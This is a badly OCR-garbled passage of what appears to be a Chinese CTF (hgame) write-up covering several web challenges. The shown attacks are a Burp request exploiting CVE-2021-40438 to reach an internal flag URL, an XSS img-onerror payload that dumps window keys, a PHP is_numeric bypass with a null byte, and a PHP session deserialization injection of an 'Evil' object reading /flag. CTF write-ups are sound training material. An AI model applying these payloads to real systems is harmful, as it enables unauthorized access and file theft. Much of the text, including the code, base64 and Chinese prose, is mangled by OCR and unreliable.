AAAAAAAAAAAAARAAAAAAAAAARAAAAAARAAARAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAA
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAARAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAA
AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAAAAARAAAA CSDN @351 /]

Burp Suite Professional v2020.12.1 - Temparary Project - licensed to Uncia
Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

5 x

=R o <

Request Response

Pretty m \n  Actions v Pretty m Render \n Actions v

HTTP/1.1 200 0K
Date: Sun, 06 Feb 2022 17:45:28 GNT
Server: nginx/1.21.5

1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA o
3
4 Content-Type: application/octet-stream
5
6

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

5 Content-Length: 48
Connection: close



Bow o

-~ o

o o

10
1
12

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAARAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAA [http: // internal. host/
flag HTTP/1.1

Host: httpd. summ3r. top:60010

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:96.0) Gecko/20100101 Firefox/96.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8

Accept-Language: zh—CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK ;g=0. 5, en-US;q=0. 3, en; g=0. 2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade=Insecure-Requests: 1

If-Modified-Since: Tue, 25 Jan 2022 08:39:02 GMT

| f-None-Match: "22a-5d664045f9580"

Cache=Control: max-age=0

webpack-engine

webpack-engine[25h]

webpack packs the web.

(BER Chrome JI5E=ETH)

100
100

Webpack Engine

REXMESHEE

8 hgame (COng@tul4tiOn"u_r3pr0duced_CVE-2021-40438} |



o webpack it 2 AT FE:  https://www.freebuf.com/articles/web/276810.htm
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data:application/json;base64,eyJ2ZXJzaW9uljozLCIzb3VyY2VzIjpbIndlYnBhY2s6Ly8uL3NyYy92aWV3cy9GbDRnXzFzX2hlcjMudn

1110sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7QUF5QKE7RUFDQSXZQUFBOOVBQOESsa®IBQUE7RUFDQSxhQUFBOOVBQOESc@IBQUE7RUFDQSXx1QkF
BQTtFQUNBLG1CQUFBOGFBQOE7QUFDQTtFQUNBLFABQUE7RUFDQSXZQUFBOOVBQOESYUFBQTtFQUNBLHNCQUFBOOVBQOESdUIBQUE7RUFDQSXtQkF
BQTtBQUNBOOFBQOE7RUFDQSXXQUF BOBVBQOE sWUFBQTtBQUNBOZtBQUVBLFFBQUE7QUFDQTtFQUNBLHNCQUFBO®OVBQOESsdUIBQUE7RUFDQSXXQKF
BQTtFQUNBLHNCQUFBO®VBQOESYOFBQTtFQUNBLGVBQUE7RUFDQSXxQkFBQTtFQUNBLDhMQUFBO®VBQOEsaUJBQUE7RUFDQSxNQkFBQTtFQUNBLGN
BQUE7RUFDQSxVQkFBQTtFQUNBLGtCQUFBO@VBQOE sbUNBQUE 7RUFDQSwrQk FBQTtFQUNBLDhDQUFBO®VBQOE saURBQUE7RUFDQSxpQk FBQTtFQUN
BLH1CQUFBO®@VBQOE sMEJIBQUE7QUFDQTtBQUVBO®VBQOEseUIBQUE7RUFDQSXXQUF BOAVBQOE sK@IBQUE7QUFDQTtBQUVBOOFBQOE7SUFDQSXtQkF
BQTtJQUNBLGtCQUFBOBFBQOE7QUFDQTtBQUVBOOVBQOESadIBQUE7RUFDQSXZQUFBOBVBQOE sWUFBQTtFQUNBLFABQUE7RUFDQSXZQUFBOOFBQOE
1LCIzb3VyY2VzQ29udGVudCI6WyI8dGVtcGxhdGU+XG4gIDxoMT57e2ZpbGlpalWxpbGlsNGd9fTwvaDE+XG48L3R1bXBsYXR1P1xuXG48c2NyaXB|
OP1xuXG51eHBvcnQgZGVmYXVsdCB7XG4gIGRhdGEOKSB7XG4gICAgcmVOdXJuIHtcbiAgICAgIGZpbGlpaWxpbGlsNGc6ICdZVWRrYUdKWFZgZFN
SRUOXWKVZNWIVMULITVFZhVOZKbVRXdzVSROpGT1hwTk1UbFVUVWhXZVZreVZtWmlWVUozWmxFOVBRbzONXG4gICAgTVXuICBOXG59XG48L3Njcml
wdD5cblxuPHNOeWx1P1xuaHRtbCwgYmOkeSB7XG4gIGhlaWdodDogMTAwITtcbiAgbWFyZ21uOiAwO1xuICBwYWRkaW5n0iAwO1xuICBvdmVyZmx
vdzogaGlkZGVuO1xufVxuPC9zdH1sZT5cblxuPHN@eWx1IHNjb3B1ZD5cbi50b211IHtcbiAgaGVpZ2h@0iAxMDA101xuICBwb3NpdGlvbjogecm

SYXRpdmU7XG4gIGRpc3BsYXKk6IGZSZXg7XG4gIGZsZXgtZGlyZWNOaWOuOiBjb2x1bW47XG4gIGplc3RpZnktY29udGVudDogY2VudGVyO1xuICB
hbGlnbilpdGVtczogY2VudGVyOlxufVxuLnBsYX11ciB7XG4gIHdpZHRoOiAXxMDA101xuICBoZW1naHQ6IDEWMCU7XG4gIGRpc3BsYXk6IGZSZXg
7XG4gIGZsZXgtZGlyZWNOaWOuOiBjb2x1bW47XG4gIGplc3RpZnktY29udGVudDogY2VudGVy01xuICBhbGlnbilpdGVtczogY2VudGVy0lxufVx
uaWZyYW11IHtcbiAgd21kdGg6IDEWMCU7XG4gIGhlaWdodDogMTAwITtcbnlcblxulyogQINTICovXG4uYnVOdGOULTgxIHtcbiAgYmFja2dyb3

uzZCljb2xvcjogI2ZmZjtcbiAgYmOyZGVyOiAwIHNVbG1KkICNIMMU4ZjA7XG4gIGIvcmR1lcilyYWRpdXM6IDEUNXI1bTtcbiAgYm94LXNpemluZzo
gYmOyZGVyLWIveDtcbiAgY29sb3I6ICMwZDE3MME7XG4gIGN1cnNvcjogcGIpbnRlcjtcbiAgZGlzcGxheTogaW5saW51LWIsb2NrO1xuICBmb25
OLWZhbW1seTogXCICYXNpZXIgY21lyY2x1XCIsLWFwcGx1LXN5c3R1bSxzeXNOZWOtdWksXCITZWdvZSBVSVwiLFIvYm90@byxcIkhlbHZ1dG1ljYSB
0ZXV1XCIsQXIpYWwsXCIOb3RvVIFNhbnNcIixzYW5zLXNl1cmlmLFwiQXBwbGUgQ29sb3IgRWlvamlcIixcI1IN1Z291TIFVITEVtb2ppXCIsXCITZWd
VZSBVSSBTeWlib2xcIixcIk5vdG8gQ29sb3IgRWlvamlcIjtcbiAgZmOudClzaXplOiAXLjFyZWO7XG4gIGZvbnQtd2VpZ2h@0iA2MDA7XG4gIGX|
pbmUtaGVpZ2h@0iAx01xuICBwYWRkaW5n0iAxcmVtIDEuUNnJ1bTtcbiAgdGV4dC1lhbGlnbjogY2VudGVyO1xuICBOZXhOLWR1Y29yYXRpb2461G5
vbmUgIzBkMTcyYSBzb2xpZDtcbiAgdGV4dC1kZWNvcmFOaWOuLXRoaWNrbmVzczogYXVebztcbiAgdHIhbnNpdGlvbjogYWxsIC4xcyBjdWIpYy1|
1ZXppZXIoLjQsIDAsSICAyLCAxKTtcbiAgYmO4LXNoYWRvdzogMHB4AIDFweCAycHggcmdiYSgXNjYsIDE3NSwgMTk1LCAWLFI1KTtcbiAgdXNlcil
zZWx1Y3Q6IG5vbmU7XG4gIC13ZWIraXQtdXN1cilzZWx1Y3Q6IG5vbmU7XG4gIHRvAWNOLWFjdGlvbjogbWFuaXB1bGFOaWOuO1lxufVxuXG4uYn

@dGOuLTgxOmhvdmVyIHtcbiAgYmFja2dyb3VuzZCljb2xvcjogIzF1MjkzYjtcbiAgY29sb3I6ICNmMZmY7XG4gIHRYYW5zaXRpb246IGFsbCAuMnM
gZWFzZS1pbilvdXQ7XG59XG5cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkgelxuICAUuYNVOdGOULTgxIHtcbiAgICBmb250LXNpemU6IDEUMTI
1cmVtO1xuICAgIHBhZGRpbmc6IDFYZWOgMnI1bTtcbiAgfVxufVxuXG5idXROb24gelxuICBwb3NpdGlvbjogYWIzb2x1dGU7XG4gIHdpZHROO1A
zMDBweDtcbiAgaGVpZ2h00iA2MHB401xuICBib3ROb206IDIWITtcbiAgYmOyZGVy0iBub25101xufVxuPC9zdH1sZT5cbiJldLCIzb3VyY2VSb29
PIjoiIn0=

{"version":3, *sources” [ wehpack // /Src/v)ews/FMg 1= herﬁ vue ] rmmes

[1, “mappings” B, E. uBALA;BACA, n. CA; AACA EACA, VARL; EAC EAC EACA, sBAAA EACA, uBAAA;EACA, nE, (CA; BACA; EACA, VARA ;EAC! SAACA; AJER, Q (CA; EACA, sBAAA ;EACA, uBARA ;EACA, qBARA;EACA, sBAAL; EAC EACA, e
A.EACA, qBARA EACH, BL F(‘ iE, F(‘ B, Ff‘ rr B wrlm EACA, nCAAAEACA, +BAAAEACA, BCAAA  EACA, 1DAAA;EACA, 1BARA: EACA, yBAAA EACA, 0B Ch:AAEA:EACA, yBALA:EACA, VAAA :EACA, +B. Ch:AAEA: AACA; TACA, mBAAA; TACA, KB, Ch: AACA: AAEA :EACA, kBALA:EACA, YAAAEA
Ca, TAAAEACA, VARAEACA, YARL RACA”, "seurcesContent”: [“<tenplateXin  (hl> [{£ili1ililildg]] /hi-nd/templaternindseripto\n\nexport default [\n datal) [\n  return [\n £ili1i1ilildg: * VOdkaGIXYjdSRE] 1 IEYSbU1 ISTYaWF InT¥wERG JFOXpNNT LUTURYe Viey T Li VI 3TLESPQo="\n  }\m
I\nl\n</seripty\ntndstyled\nhtnl, body {'n height: 100%:\n margin: 0:'n padding: 0:\n overflow: hidden:in}\n</styled\n\n{style scopedd\n.home f'n height: 100%:\n position: relative:\n display: flex:\n fjfx-direction column:\n justify-content: cemter:in align—
items: center;\n]\n.player [\n width: 10D%:\n height: 100%;\n display: flex:\n f1 column;\n j center;\n align-items: center;\n}\niframe {\n width: 100%;\n height: LODY;\n}\nfe/* CSS #/\n.button-81 {\n backgrownd-colsr: #££f \n border
0 solid #e2eB0:\n border-radius: 1.5rem:\n box-sizing: border-box:\n color: #0di72a:\n cursor: poimter:\n display: inline-block:\n font—family: \"Basier circle\’,-apple-system, systemui,\*Sezoe UI\",Rgoto, \*Helvetica Neue\”, Arial, \"Noto Sans\’,sans-serif,\"Apple
Color Emojiy",\"Segoe UI Emojit’,\"Segoe UT Symbol\”,%Noto Color Emoji\’:\n font-size: I.lrem;\n fomt-veight: 600\ line-height: l:\n padding: lrem 1.6rem;\n center n ngfle #0d172a solid;\n  tewt-decoration-thickmess: auto:\n
transition: all .ls cubic-bezier(.4, 0, .2, 1):'n bow-shadow: Opx Ipx 2px rgba(166, 175, 195, 0.25):\n user-select: none:'n -webkit-user-select: nome:‘n touch-action: mamipulation;\n]\n\n.button-81:hovgf [\n backzrownd-color: #1e29%b;\n color: #fff:\n transition
a1l .25 ease-in-out[\n}'\m\n@nedia (mim-width: 768px) [\n .button-81 {\m  fomt-size: L.125rem;\n  padding: lrem Zrem;\n }\nl'‘wmbutton {\u position sbsolute;\n width: 300px:\n height: 60px;\n botton: 208;\n border: none:‘nl\n¢/styledwn’],”sourceRoot™ ""}

>>> from base64 import *
>>> b64decode( 'YUdkaGIXVjdSREJ1ZEY5bU1ISTVaWFImTWw5RGIFOXpNMT1UTUhWeVkyVmZiVUI3Z1E9PQo=")
b ' aGdhbWV7RDBudFOMMHIS5ZXRfM19DbE9zM19TMHVYY2V{bUBWTQ==

>>> bb64decode( 'aGdhbWV7RDBUdFOMMHI5ZXRfM19DbE9zM19TMHVYY2VfbUBWfQ==")
b'hgame{DoOnt_fOr9et 2 C1l0s3_SOurce m@p}"

AtOMT] & 5
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https://www.freebuf.com/articles/web/276810.html

CEEER T ZEMIMEASET FWebne, EERSEATTRT HIEESEF.
https://atOm-hgame-wall0-1308188104.cos.ap-singapore.myqcloud.com/template.html

s RAOMMESRENHELGS: =501Fa

hint:
1 EEREEERE R EENESIElE
2 flagfI === T
250
250
( T
ol I
ESRiTAEE ¥ https:/fatOm-hgame-wall0-1308 X = +
8 view-source:https.//atOm-hgame-wall0-1308188104.cos.ap-singapore.myqcloud.com/template.html
C1DOCT 10
<html lang="en”>
<head>

<meta name="viewport” content="width=device-width, initial-scale=1.0">
<{meta charset="TTTF-3">

<{style>
. lite-chatbox {padding:0;width: 100%  position:relative; overflow-v:auto; overflow-x:hidden; font: 18px Helvetica, “PingFang SC7,°
</style>
i En=gf:it e i b3
{script>
let auth0r = " atlm ;
var flag = " hgame {xxx}’ ;
{/script>
</head>
<{body>

<div class="lite—chatbox”>
<div class="cleft cmzg”>

<img class="headlcon radius” ondragstart="return false;” oncontextmenu="return false;” src="data:imase/jpes;bas

<{span class="nams" >SuperPaxxs</span>

<{span class="content”>

RPRE=ENE
</span>
<idivw
<fdiw>
{/body>
</html >

HLIEZRIEA, T0 3 contentf]

t'}[@].innerText

ent')}[@].innerTe




flag /2iliit var AT, LB
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A1) H 24 Tl DT P i A ) 4 SR AR

window,self document name location,customElements, history, locationbar, menubar,personalbar,scrollbars statusbar,toolbar, status, closed, frames length top, opener, parent, frameElement, navigator, origin, external screen, innerWidth innerHeight, scrollX, pageXOffset, scr
ollY,pageY Offset visualViewport, screenX screenY,outerWidth outerHeight devicePixelRatio, clientinformation, screenLeft screenTop, defaultStatus defaultstatus, styleMedia, onsearch, isSecure Context performance, onappinstalled onbeforeinstallprompt,crypto, indexedD
B,webkitStoragelnfo,sessionStorage localStorage, onbeforexrselect,onabort, onblur, oncancel oncanplay,oncanplaythrough, onchange, onclick onclose oncontextmenu,oncuechange, ondblclick, ondrag ondragend, ondragenter, ondragleave ondragover,ondragstart, ondro
p ondurationchange, onemptied onended, onerror,onfocus, onformdata,oninput,oninvalid, onkeydown,onkeypress, onkeyup, onload,onloadeddata, onloadedmetadata onloadstart, onmousedown, onmouseenter,onmouseleave, ONMOUSEMOVe, ONMOUSE0Ut, ONMOUSEOVEr,0
nmouseup,onmousewheel onpause onplay,onplaying, onprogress,onratechange, onreset,onresize onscroll, onsecuritypolicyviolation, onseeked, onseeking, onselect, onslotchange onstalled onsubmit onsuspend,ontimeupdate, ontoggle onvolumechange, onwaiting onwe.
bkitanimationend, onwebkitanimationiteration rationstart onwebkitiransitionend onwheel onauxclick, ongotpointercapture, onlostpointercapture onpointerdown onpointermove, enpointerup,anpointercancel, onpointerover, onpointerout onpointerenter,onpoint
erleave,! t,onselectionchange, onanimationend,onanir ntransitionrun, or ontransitionend,ontransitioncancel,onafterprint, onbeforeprint,onbeforeunload,onhashchange,onlar nmessag
eerror,onoffiine, ononline anpagehide, onpageshow,onpopstate owejechonhand\ed onstorage, onunhandledrejection,onunload,alert atob, blur, btoa, cancelAnimationFrame cancelldleCallback,captureEvents, clearlnterval,clear Timeout close, confirm, createlmageBitmap, f
etch,find focus, getComputedStyle getSelection, matchMedia, moveBy, moveTo,open print prompt queueMicrotask releaseEvents, reportError, requestAnimationF rame, requestldieCallback resizeBy, resize To,scroll scrolIBy, scrollTo setlnterval setTimeout st
op,webkitCancelAnimationFrame, webkitReguestAnimationFrame,chrome,caches, ion, itation ondeviceorientationabsolute showDirectoryPicker,showOpenFilePicker,showSaveFilePicker originAgentCluster trustedTypes, speech

Synthesis, onpointerrawupdate, crossOriginisolated, scheduler,openDatabase, \.uebk\(RequestFMESystem webkitResolvel ocalFileSystemURL,define ethereum flag

document . getElementsByC

o

hgame{xxx}

RFERT S RIflagiE 1, $5 TRt ExssfilA, RIS RIS IR AL, EAEAEH]

innerText=0bject



O

<img src=x onerror="document.
getElementsByClassName('content’)[0].
innerText=Cbject keys(window)" >

JCRVASOVABIIEBMAS

window,self, document,name location,customElements, history,locationbar,menubar,personalbar,
scrollbars,statusbar,toolbar,status,closed,frames,length,top,opener,parent,frameElement,naviga
tor,origin,external,screen,innerwidth,innerHeight,scroll X, page XOffset,scroll’f,pageY Offset,visua
IViewport,screenX,screen’,outerWidth,outerHeight,devicePixelRatio,clientinformation,screenLe
ft,screenTop,defaultStatus,defaultstatus, styleMedia,onsearch,isSecureContext,performance,on
appinstalled,onbeforeinstallprompt,crypto,indexedDB ,webkitStorageInfo,sessionStorage, localSt
orage,onbeforexrselect,onabort,onblur,oncancel,oncanplay,oncanplaythrough,onchange,onclic
k.onclose,oncontextmenu,oncuechange,ondblclick,ondrag,ondragend, ondragenter,ondragleav
e,ondragover,ondragstart,ondrop,ondurationchange,onemptied,onended, onerror,onfocus,onfor
mdata,oninput,oninvalid, onkeydown,onkeypress,onkeyup,onload, onloadeddata,onloadedmetad
ata,onloadstart,onmousedown,onmouseenter,onmouseleave, onmousemove,oNMoUseoUt,onmo
useover,onmouseup,onmousewheel onpause,onplay,onplaying,onprogress,onratechange,onre
set,onresize,onscroll,onsecuritypolicyviclation.onseeked,onseeking,onselect,onslotchange,onst
alled,onsubmit,onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting, onwebkitanimati
onend,.onwebkitanimationiteration,onwebkitanimationstart,onwebkitiransitionend,onwheel,onau
xclick,ongotpointercapture, onlostpointercapture, onpointerdown,onpointermove, onpointerup,onp
ointercancel,onpointerover,onpointerout,onpointerenter,onpointerleave, onselectstart,onselectio
nchange,onanimationend,onanimationiteration,onanimationstart,ontransitionrun,ontransitionstar
t,ontransitionend,ontransitioncancel ,onafterprint,onbeforeprint,onbeforeunload,onhashchange,o
nlanguagechange,onmessage,onmessageerror,onoffline, ononline,onpagehide,onpageshow,on
popstate,onrejectionhandled,onstofage,onunhandledrejection,onunload,alert,atob, blur,btoa,can
celAnimationFrame,cancelldleCallback,captureEvents,clearinterval clearTimeout,close,confirm,
createlmageBitmap,fetch,find, fogus,getComputedStyle, getSelection, matchMedia, move By, mov
eTo,open,postMessage, print,pgpmpt, queueMicrotask, releaseEvents,reportError,requestAnimati
onFrame, requestldleCallbackfesizeBy,resizeTo,scroll,scrollBy,scrollTo,setinterval ,setTimeout,s
top,webkitCancelAnimationFfame, webkitRequestAnimationFrame,caches,cookieStore ,ondevic
emotion,ondeviceorientatioff ondeviceorientationabsolute, showDirectoryPicker,showOpenFilePi
cker,showSaveFilePicker,ghginAgentCluster trustedTypes,speechSynthesis,onpointerrawupdat
e,crossOriginisolated sciggduler,openDatabase,webkitRequestFileSystem, webkitResolveLocal
FileSystemURL,F149 is_Here,r3d_CodE

“RVASOVIBEJIJEBMA!

hgame{Xs5 1s so ini3Restin9!Var_is_0uT_of d4ie}
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200
200

=T e
LR L I lr"_["/ . '|'r

B AT [
1| <html>
2 <head>
3 <meta charzet="utf-8">
4 <link href="gtatic/login.css" rel="stylesheet”>
5 < head>
i <body>
7 <form action="login. php” method="POST" >
8 <div clazs="form-item”>
9 <label for="username” >USERNAME </ 1abell
10 <input type="text” name="uszername’ id="username”>
1 <fdivs
12 <div clazs="form-item”>
13 <label for="password” :PASSWORD </ label:
14 <input type="password” name="password”:
15 <fdivs
16 <div clazs="form-item”>
17 <button type="submit” *LOGIN< button
18 <fdive
19 < farm
20 </ bady>
21 V= hint: Sww zip —>
22| </htnl> )
- _
B ' CSDN @3k 4

TR, B HEST is_numeric() BIT], bypassi L 7ikRZ

B Uphpstudy_prot\WWiWhiestilogin.php (test) - Sublime lext (UNKEGIS | ERED)
File Edit Selection Find View Goto Tools Project Preferences Help

FOLDERS 4r save.php login.php e code.php test.php
i test il < ? h
v static p p

/* login.css () 2
/% stylecss

> I8 tmp function ($msg): str
admin_check.php

ing {
return “"<script>alert('".$msg."')</script>";

evil.php
getphp
index.php
login.php funct Welg ( length): Stf""l:ng' {

ping.php .
save.php ( ) ) ’

DOROEEEE

.

3
for ($i=0; $i<$length; $i++) {
s .= ( (32, 127));
}
return $s;

}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (! ($_POST[ 'username']) ! ($_POST[ 'password’])) {
return;

}

if ($_POST['username'] != 'admin') {



username or passwor

($_POST[ 'password'])) {

_POST[ 'password’] == 1080) {
_SESSION[ 'username'] = "admin

_SESSION[ 'unique_key'] = (
('Location: index.php');

username=admln&password=1080%00




=<

[EREEE || BEEE || ®mT-m
1. fuck-» "t="

AR HTIRAS

E Diphpstudy_pro\WWWhtest\save.php (test) - Sublime Text (UNREGISTERED)

File Edit Selection Find View Goto Tools Project Preferences Help

FOLDERS 4 ¥ | savephp getpnp
b test . < ?Php
v static 5
/¥ login.css . . () 2
/% stylacss include ‘admin_check.php';
3 tmp
B axfrisiEdriE ction enc $data): string {
O evilphp ¢ 1t 00 5
3 getphp $resu 5
O index.php foreach (1data a
[ loginphp $result .= %
[3 pingphp }
[ save.php

return $result;

}

function sa
$filename = "D:
fdata = (
$str = ($data);

a() {

hpstudy_pro\

o

05D .|".'|'|__

5T
= A T

test.php ] <style type="text/css™> test1.php

n g

tmp" .%_SESSION[ 'unique_key'].'.session’;
("php://input”));

($filename, $str, FILE_APPEND);

}

if ($_SERVER['REQUEST METHOD'] ==
0);

20

} else {
‘method not allowed';

}

{

"name" : "mochu7"

}

function en ($data): string {
$result = "',

foreach ($data as

$result .= %k

}

return $result;

}
$datal "{"name": "mochu7"}";
($datal));

($datal)));

"POST") {

PowerShell % E¥ PowerShell
PS C:\Users\Administrator\Downloads> php .\test.php
C:\Users\Administrator\Downloads\test.php:u8:
class stdClass#1 (1) {
public $name =>
string(6) "mochu7"
4
C:\Users\Administrator\Downloads\test.php:49:
string(18) "name|s:6:"mochu7";"
PS C:\Users\Administrator\Downloads> |



A DL S50 B AR N 2 8
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TF A A,

save.php

<?php

include
include ‘'evil.php’;
// flag is in /flag

function decode

$result [

$offset e;
$length \

while ($offset <

if (! (

return [

od

p =

num $pos
$varname
$offset +=

$dataltem

b3

B4 N AAE

T | 5B

code.php «style type="text/css™> test1.php

"admin_check.php';

(string $data): Array {
1;

(¢data);
$length) {
($data, $offset), '|')) {
1;
($data, '|', $offset);

$offset;
(¢data,

$offset, $num);

$num + 1;

( ($data, foffset));

¢result[$varname] = $dataltem;

$offset += \

}

return $result;

}

Sessio

T
€

function load
$filename
if (
$str
return
} else {

return [];

HSAEIX B decode BREL, X | )5
b

[=R=1Mg)

<?php

onDa

$93 B AT Ry

($dataltem));

ata(): Array {
\phpstudy_pro\\WWW\\test\\tmp'
ifilename)) {

($filename);

_SESSION[ 'unique_key'].'.session’;

($str);

($filename,

)z

CSDN @zk 1]

JIL, ERAUREX M WA | 775, mard | 25D R

function

fresult =
foffset =

e(string $data): Array {

[l
e;

$length \
while ($offset < $length) {
if (! (

return [];

(¢data);

}

$pos
$num fpos -
$varname
$offset +=
$dataltem

($data,
$offset;

$num + 1;

(

$result[$varname] = $dataltem;
$offset += \ (
}

return $result;

20 }

$data

fEdatal).

(%data, foffset),

(¢data, foffset,

‘name |D:7:"Profile”:3:{s:2:"id";s:6:"mochu7";s:6:"gender";s:4:"male";s:3:"

T A

"|*, $offset);

$num);

($data, %offset));

($dataItem));

age";i:20;}|s:6:"mochu7";";




PowerShell X E¥ PowerShell x PowerShell

PS C:\Users\Administrator\Downloads> php .\test.php
C:\Users\Administrator\Downloads\test.php:22:
array(2) {
'name’ =>
class __PHP_Incomplete_Class#l (4) {
public $__PHP_Incomplete_Class_Name =>
string(7) "Profile"
public $id =>
string(6) "mochu7"
public $gender ==
string(4) "male"
public $age ==»
int(28)
}
LR
string(6) "mochu7"

PS C:\Users\Administrator\Downloads>

public $file='/flag';
}
$obj = new Evil();
var_dump(serialize($obj));

//0:4:"Evil":1:{s:4:"file";s:5:"/flag";}
?>

name|0:4:"Evil":1:{s:4:"file";s:5:"/flag";}

HigR

|m0chu? ||:?§T’HJD |

|l:{s:4:“ﬂIe“;s:S:"fﬂag“;}

1. name-=> {"file":"/flag","flag":"hgame{Uns@f3 D3seR1@liz4t10n!s~hOrr1ble-In PhP)\n"}
2. 7";name-= {"file":"/flag","flag™:"hgame{Uns@f3_D3seR1@liz4t10n!ls~hOrr1b1e-In_PhP}\n"}

CSDN @21 )

Pokemon

Pokemon[E=AE]

TR FIE, BEE!

error.php X {4 A\¥) code ZHUHAT 11 IE



121.43.141.153:60056/errorphp” X +

